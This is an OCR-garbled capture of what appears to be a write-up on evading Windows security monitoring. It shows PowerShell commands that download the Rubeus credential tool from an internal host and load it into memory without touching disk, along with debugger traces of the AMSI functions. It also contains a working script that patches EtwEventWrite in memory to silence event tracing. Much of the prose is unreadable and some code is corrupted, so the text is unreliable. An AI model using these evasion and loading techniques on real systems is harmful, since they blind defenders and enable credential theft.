Windows[]]T]

Windows [TTIT] (

0 .NETMi€Erpgoft-Windows-DotNETRuntime [AgsémblyLoad [TTTTTTTTITIT] .NET [ITT] Rubeus.exe

$data=(new-object System. Net. WebClient). DownloadData(' http: //192. 168. 0. 45: 443 /rubeus. exe')

$assembly=[ System. Reflection. Assembly]:: Load( $data)

[T AMSITI .NET [TTITITT AMSI 111

PS C:\Users\Administrator> (new-object System.Net.WebClient).DownloadData(
PS C:\Users\Administrator> [System.Reflection.Assembly]: :Load( )

[(IITT10 AmsiScanBuffer [TTTTT] AMSI [J .NET [TIIIIITIIIIIT] Rubeus [IITIT1T

PS C:\Users\Administrator> iex(new-object net.webclient).downloadstring(
True

PS C:\Users\Administrator> (new-object System.Net.WebClient).DownloadDatal(
PS C:\Users\Administrator> [System.Reflection.Assembly]: :Load( )
PS C:\Users\Administrator>

[T ETW [T Amsilnitialize [T] AmsiOpenSession [T WinDBG [] Power

amsi! AmsiInitialize
amsi! AmsiOpenSession
amsi! AmsiScanBuffer

clr! AmsiScan

[(IITII1 "invoke-mimikatz" [TTJAmsiOpenSession [JAmsiScanbuffer [TTTTITIT] Amsilnitialize [] AmsiScai

9:025> g
Breakpoint 1 hit

amsi!AmsiOpenSession:

PeeR711T9 0aa78200 4885d2 test rdx, rdx
8:025> g

Breakpoint 2 hit

amsi!AmsiScanBuffer:

PPBR7To Paa78260 4c8bdc mov ril,rsp
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[B¥stem.Reflection.Assembly]::Load() [TTTITIT1] 2 (JITTTTITIITIT] PowerShell (TTTTTITITTTT] Amsil

0:026> g

Breakpoint 1 hit

amsilAmsiOpenSession:

POER7ffo Paa78200 4885d2 test rdx, rdx

0:026> g

Breakpoint 2 hit

amsilAmsiScanBuffer:

eeep7f9 @aa7826@ 4cshdc mov ril,rsp

9:026> g

Breakpoint 3 hit

clr!AmsiScan:

00pe7f 8 fdfbbc94 48895c2408 mov qword ptr [rsp+8],rbx ss:000000b8  bc58d700=0000021c3e361100
0:026> g

Breakpoint @ hit

amsilAmsiInitialize:

00e07ff9 Baa72e@0 48895c2410 mov qword ptr [rsp+l1@h],rbx ss:ee00000bs bc58d678={amsilAmsiInitialize (000079 @aa72e00)}
0:026> g

Breakpoint 2 hit

amsi!AmsiScanBuffer:

00BR7fT9 ©aa78260 4csbdc mov ril,rsp

[€lr.dll [AmsiScan [TT1T] Amsilnitialize [ AmsiScan [TTTTT] AmsiOpenSession [I1T]

Y
il e =
push 8eech ; dwFlags
push Q ; void *

H
push offset aAmsiDll ; "amsi.d1l"
call ?CLRLoadLibraryEx@@YGPAUHINSTANCE _@@PBGPAXK@Z ; ClLRLoadlLibraryEx(ushort const *,void *,ulong)

mov ebx, eax
test ebx, ebx
jz loc_104079F7
1
¥
il e =
push offset aAmsiinitialize ; "AmsiInitialize”
push ebx ; hModule
call ds:__imp__GetProcAddress@8 ; GetProcAddress(x,x)
mov [ebp+var_18], eax
mov ?AmsiInitialize@@3P6GIPBGPAPAUHAMSICONTEXT @@@7ZA, eax ; long (*AmsiInitialize)(ushort const * HAMSICONTEXT _ * *)
test eax, eax
jz loc_104079F7
11
v
il s
and [ebp+var_14], @
lea ecx, [ebp+var_14]
push ecx
push offset aDotnet ; "Dothet”
mov ecx, eax ; this

call ds:__ guard_check icall fptr ; IsolationImplementation::Com::CReferenceAppld::Format(Windows::Isolation::Rtl:: IFormattedOutputStream *)
call [ebp+var_18]

test eax, eax
jnz loc_104079F7
11
¥
bl =
push offset aAmsiscanbuffer ; "AmsiScanBuffer"
push ebx ; htiodule
call ds:__imp_ GetProcAddress@8 ; GetProcAddress(x,x)
mov ebx, [ebp+var_10]
mov ?AmsiScanBuffer@@3P6GIPAUHAMSICONTEXT__@@PAXKPBGPAUHAMSISESSION_ @@PAK@ZA, eax ; long (*AmsiScanBuffer)(HAMSICONTEXT__ *,void *,ulong,usl
test eax, eax

jz short loc_16487952
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.- e e e

v

] il =

mov esi, ?PAmsiScanBuffer@@3P6GIPAUHAMSICONTEXT _@@PAXKPBGPAUHAMSISESSION @@PAK@ZA : long (*AmsiScanBuffer)(HAMSICONTEX]
lea ecx, [ebp+var_208]

push ecx

push %]

push 2]

push ebx

push [ebp+var_1C]

mov ecx, esi ; this

push eax

call ds:_ puard_check_icall fptr ; IsolationImplementation::Com::CReferenceAppld: :Format(Windows::Isolation::Rtl:: IFors
test eax, eax

jnz short loc 104079AB

]

eax, [ebp+var_28]

eax, 8000h

short loc_104@79FF

[T AmsilniSyiste EManapgement/Automation [TTITIIIIIIIIIIIIII] PowerShell [TTITIIIIT] .NET
AmsiScan [I111]

[II111 AMSI [T] RubeuPfoddssHaEKer D [TPPwerShell. eNET[aEgémblies [TTT11] Rubeus [TITTIT] ETW

General Statistics Performance Threads Token Modules Memory Environment Handles -NET assemblies NET performance GPU Disk and Metwork Comment
Structure ID Flags Path
w CLR v4.0.30319.0 8 LOADER_OFTIMIZATL..
~ AppDomain: DefaultDomain 19719... Default, Executable
Anonymously Hosted DynamicMethed...  19723... Dynamic Anonymously Hosted DynamicMethods Assembly
Microsoft. PowerShell.PSReadLine 19723... C:\Program Files\WindowsPowerShell\Modules\PSReadLine\2.0.0\Microsoft. Power
ReflectedDelegate 19723... Dynamic ReflectedDelegate
Rubeus 19723... Rubeus
~ AppDomain: SharedDomain 14070... Shared

Microsoft.Management. Infrastructure 19719... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.Management.Infrastruct
Microsoft. PowerShell. Commands. Utility  19723... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.)
Microsoft. PowerShell.ConsoleHost 19719... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost
Microsoft. PowerShell. Security 19723... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.1
mscorlib 19719... DomainNeutral, Native C:\windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c5619
System 19719... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System'w4.0_4.0.0.0__b77a5c561
System.Configuration 19719... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\w4.0_4.0.0.0
System.Configuration.Install 19723... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System. Configuration.Install\v4.0_
System.Core 19719... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core'v4.0_4.0.0.0__b77al
System.Data 19719... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5csS
System.DirectoryServices 19719... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.1
System.Management 19719... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Managementiw4.0_4.0.0.C
System.Management.Automation 19719... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation',
System.Mumerics 19719... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Numericsiw4.0_4.0.0.0__E
System.Transactions 19723... DomainNeutral, Native C:\Windows\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__
System.xml 19719... DomainNeutral, Native C:\windows\Microsoft.Net\assembly\GAC_MSIL\System_Xml\v4.0_4.0.0.0__b77a5

ULONG
EVNTAPI
EtwEventWrite(
__in REGHANDLE RegHandle,

[0 ETW [T RY%NISHdII TEEWE v ventWrite []]
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~_in PCEVENT DESCRIPTOR EventDescriptor,

__in ULONG UserDataCount,

__in ecount opt(UserDataCount) PEVENT DATA DESCRIPTOR UserData
)i

[T1ETW [] PowerShell [TT1T1]

function LookupFunc {

Param ($moduleName, $functionName)

$assem = ([ AppDomain]:: CurrentDomain. GetAssemblies() |

Where-0Object { $ . GlobalAssemblyCache -And $ .Location. Split('\\')[-1]

Equals(' System. dll')

}). GetType(' Microsoft. Win32. UnsafeNativeMethods')

$tmp=@()

$assem. GetMethods() | ForEach-Object {If($ .Name -like "Ge*P*oc*ddress") {$tmp+=$ }}

return $tmp[ 0]. Invoke($null, @(($assem. GetMethod(' GetModuleHandle')). Invoke($null,
@( $moduleName) ), $functionName))

}

function getDelegateType {
Param (
[ Parameter(Position = 0, Mandatory = $True)] [ Typel]]
$func, [Parameter(Position = 1)] [ Typel $delType = [ Void]
)
$type = [ AppDomain]:: CurrentDomain.
DefineDynamicAssembly((New-Object System. Reflection. AssemblyName(' ReflectedDelegate')),
[ System. Reflection. Emit. AssemblyBuilder Access]:: Run).
DefineDynamicModule(' InMemoryModule', $false).
DefineType(' MyDelegateType', 'Class, Public, Sealed, AnsiClass,
AutoClass', [System. MulticastDelegate])

$type.
DefineConstructor(' RTSpecialName, HideBySig, Public',
[ System. Reflection. CallingConventions]:: Standard, $func).

SetImplementationFlags(' Runtime, Managed')

$type.
DefineMethod(' Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,

$func). SetImplementationFlags('Runtime, Managed')



return $type. CreateType()

[IntPtr]$funcAddr = LookupFunc ntdll.dll EtwEventWrite

$oldProtectionBuffer = 0

$vp=[ System. Runtime. InteropServices. Marshal]:: GetDelegateForFunctionPointer((LookupFunc
kernel32.dll VirtualProtect), (getDelegateType @ [IntPtr], [UInt32], [UInt32],

[UInt32]. MakeByRefType()) ([Booll)))

$vp. Invoke( $funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)

$buf = [Byte[]] (0xb8, 0x34, 0x12, 0x07, 0x80, 0x66, O0xb8, 0x32, 0x00, 0xb0O, Ox57, Oxc3)

[ System. Runtime. InteropServices. Marshal]:: Copy( $buf, 0, $funcAddr, 12)

[IT] EtwEventWrite [TITIIIIII] .NET assemblies [TTTTIIIIIIT]

PS C:\Users\Administrator> iex(new-object net.webclient).downloadstring(

True

EX powershell.exe (38452) Properties = O *
.NET performance GPU Disk and Metwork Comment
General Statistics Performance Threads Token Modules Memory Environment Handles -NET assemblies
Structure ID Flags Path

Unable to start the event tracing session: This operation returned because the timeout period expired.
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